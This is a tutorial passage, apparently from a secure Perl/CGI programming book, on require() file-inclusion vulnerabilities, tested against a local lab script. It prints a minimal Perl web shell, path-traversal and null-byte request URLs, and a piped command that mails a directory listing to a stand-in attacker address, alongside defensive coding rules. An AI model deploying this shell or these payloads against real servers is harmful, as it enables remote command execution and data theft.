Errors Specific to Perl Scripts [2]

Injecting Perl Source Code

The require() function includes and executes the specified file as a Perl script. The file should be a syntactically correct Perl script.

If the parameter passed to the require() function contains a variable that can be affected by a remote user changing the external conditions, this vulnerability takes place. In other words, if a user can change GET, POST, and COOKIE parameters and headers of an HTTP request to change the value of the variable used in the require() function, he or she theoretically can make the Perl interpreter include and execute any file.

As you should remember, a similar vulnerability is typical of PHP. In Perl, however, its implementation is different. Consider the following example from http://localhost/cgi-bin/4.cgi:

   #!/usr/bin/perl

use CGI qw(:standard);

print "Content-Type: text/html\n\n";

$name=param("name");

$name="./incl/ii.cgi" if(!$name);

require($name);

This script expects the name parameter sent using the GET or POST method and assigns the value of the parameter to a variable. If no parameter is received, the variable is initialized to a default value.

Try to make the following requests to the script with different values of the name GET parameter:

  • http://localhost/cgi-bin/4.cgi?name=./incl/il.cgi

  • http://localhost/cgi-bin/4.cgi?name=./incl/i2.cgi

  • http://localhost/cgi-bin/4.cgi?name=./incl/i3.cgi

  • http://localhost/cgi-bin/4.cgi?name=./data/../incl/i2.cgi

When the included file is a syntactically correct Perl script, it is executed normally. The last request demonstrates that the directory bypassing characters can be contained in the file name.

Check whether the null character indicates the end of the file name:

http://localhost/cgi-bin/4.cgi?name=./incl/i2.cgi%00anystring.txt

As you can see, the null character normally acts in the require() function.

Now check two other points. Is the extension of the included file important to the Perl interpreter? And is the #! /usr/bin/perl line necessary at the beginning of the script (is it the path to the interpreter)?

Make the following HTTP requests:

  • http://localhost/cgi-bin/4.cgi?name=./incl/i5.txt

  • http://localhost/cgi-bin/4.cgi?name=./incl/i6.cgi

  • http://localhost/cgi-bin/4.cgi?name=./incl/i7

  • http://localhost/cgi-bin/4.cgi?name=./incl/i8.dat

As you can see, all the requests are correct and work properly. You can make the following conclusions: The extension of the included file doesn't matter, and the file included with the require() function will be executed as a Perl script. The included file doesn't need to begin with a line containing the path to the Perl interpreter. Nevertheless, the included file should be a syntactically correct Perl script.

In PHP, you could include remote files available using HTTP.

The http://localhost/cgi-bin/4.cgi?name=http://localhost/2/13.php script proves that Perl doesn't include and execute remote files.

In Unix-like operating systems, the attacker needs the rights of the current user to execute a Perl script. A simple experiment shows that a Perl script included with the require() function doesn't require execution rights from the attacker. He or she needs only the rights for reading.

To summarize, when there is the Perl source code injection vulnerability in the require() function, the attacker who wants to execute any commands on the server needs to create or change any file on the server available for reading to the user who started the HTTP server.

Earlier in this chapter, I described a few methods for exploiting the local PHP source code injection vulnerability to embed PHP code on the server to include and execute the code. Some of these methods will work with the similar vulnerability in Perl scripts. For example, any method for creating or editing a file will do.

Methods that change only a part of the file contents are unsuitable. For example, the attacker cannot use the method of embedding code into log files or pictures, which is suitable for the local PHP source code injection vulnerability.

To embed Perl code, the attacker can use other methods, such as uploading the code instead of a picture (not embedding the code into the picture), writing it into a public directory through FTP, or using other methods that allow him or her to create a file.

As you should remember, with the PHP source code injection vulnerability, the method of embedding PHP shell code was the most convenient for an attacker. Similar code could be written in Perl. This code would take the GET or POST parameter and execute its value as a system command. Then it would redirect the command's output to the browser.

This code could be as follows:

   #!/usr/bin/perl

use CGI qw(:standard);

print "Content-Type: text/html\n\n";

$cmd=param("cmd");

system($cmd);

Note that in Unix-like operating systems, the path to the interpreter in the first line of the script should terminate with a character coded as 0A. In Windows, the end of a line is denoted by two characters with the codes 0D and 0A. Therefore, the character with the 0D code is added to the name of the interpreter. Any operating system will fail to find an interpreter with such a name.

What linefeed characters should be used in a script? This depends on the interpreter. For example, Perl doesn't care whether 0A or 0D0A is used. So, when you upload files with Perl code onto a server controlled by a Unix-like operating system, make sure that the first line ends with 0A.

Be aware that if you want to start a Perl file from the command line, or make the HTTP server execute the file by requesting this file using HTTP, the file should have access rights for the user who started the HTTP server.

As a rule, this user has the name www, apache, or nobody. This user has minimal rights on the server.

To give all the users the rights for execution of a particular file, execute the chmod a+x filename command in a Unix-like operating system.

Remember the vulnerability allowing the attacker to execute any code using the open() function? Check whether the require() function allows the attacker to execute any code in a similar manner.

A simple example demonstrates that the argument taken by the require() function is interpreted as a file name rather than a system command. Send the following request:

http://localhost/cgi-bin/4.cgi?name=|ls+-la|sendmail+hacker@atacker.ru

To write scripts free of such a vulnerability, stick to the following rule:



Rule

Don't trust data received from a user.

In addition, you should be aware that the attacker can upload a malicious file by exploiting another vulnerability. In any case, stick to the following rule:



Rule

In Perl scripts, don't pass the require() function variables that can be affected by a remote user. If you have to use such variables, their values should belong to a fixed, predefined set. The set should be thoroughly specified depending on the task.

In other words, the user should be able to include and execute only the scripts allowed by the programmer. A list of these scripts should be thoroughly specified depending on the task.

Executing and Viewing Included Files

In PHP scripts, the vulnerability allowing the attacker to execute and view included files is based on a theoretical possibility that a user can request an included file using HTTP if the file is located in a directory accessible using this protocol. Depending on the extension, the file is either executed or sent to the browser.

In Perl, the vulnerability related to executing included files has a peculiar feature. Remember that a Perl script should return the Content-Type HTTP header field, so that the result of its execution is displayed in the browser window. You might expect that included scripts don't output this header because the programmer didn't intend to make them accessible using HTTP. As I told you earlier, in such a case the server will return to the browser the 500 - internal Server Error message rather than the output of the script.

However, remember that the script will nevertheless execute. It won't interrupt when the error emerges. Therefore, although the attacker cannot receive responses to requests, he or she can obtain higher privileges in the system and collect additional information if the internals of the system are known. The attacker can exploit vulnerabilities in included files blindly, by guessing the contents of the script under investigation. This would be a tedious task, but this doesn't mean you can forget about the danger.

When an inexperienced programmer sees that a request to an included file causes the 500 - internal Server Error message, he or she might conclude that this script isn't executed completely. However, this isn't the case. For secure programming and to avoid this error message, you should stick to the following rule:



Rule

Included files not intended to be accessible using HTTP should be shielded from such access. In addition, access to the contents of these files should be barred.

In other words, these files shouldn't be available using HTTP. To do this, you can use any of the following methods: You can create variables with certain names and values in the main script, you can compare them with the included file, and you can interrupt execution if something is wrong.

index.cgi

#!/usr/bin/perl

use CGI qw(:standard);

print "Content-Type: text/html\n\n";

$included='ok';

require("func.cgi");

# some code

func.cgi

exit if($included ne 'ok');

# declarations and other code

In PHP, a similar script would be contain a vulnerability if the PHP interpreter was configured to register GET, POST, and COOKIE parameters as global variables. In Perl, global variables aren't registered automatically. Therefore, this system is safe enough.

Another solution specific to Perl involves resetting the execution flag for included files in Unix-like operating systems. However, this method is the least reliable. First, it is system-specific and cannot be used in Windows. Second, when moving files from one server to another, you can lose execution flags.

You can also use the methods of restricting access to included files suitable in PHP, such as placing the files into a directory protected with server settings or a directory outside the server root. In addition, you can name included files in a special manner (e.g., by giving them the same extension) and bar the HTTP access to them with the server tools. However, the last method strongly depends on the server type and will work only until the server configuration changes.

더보기

댓글,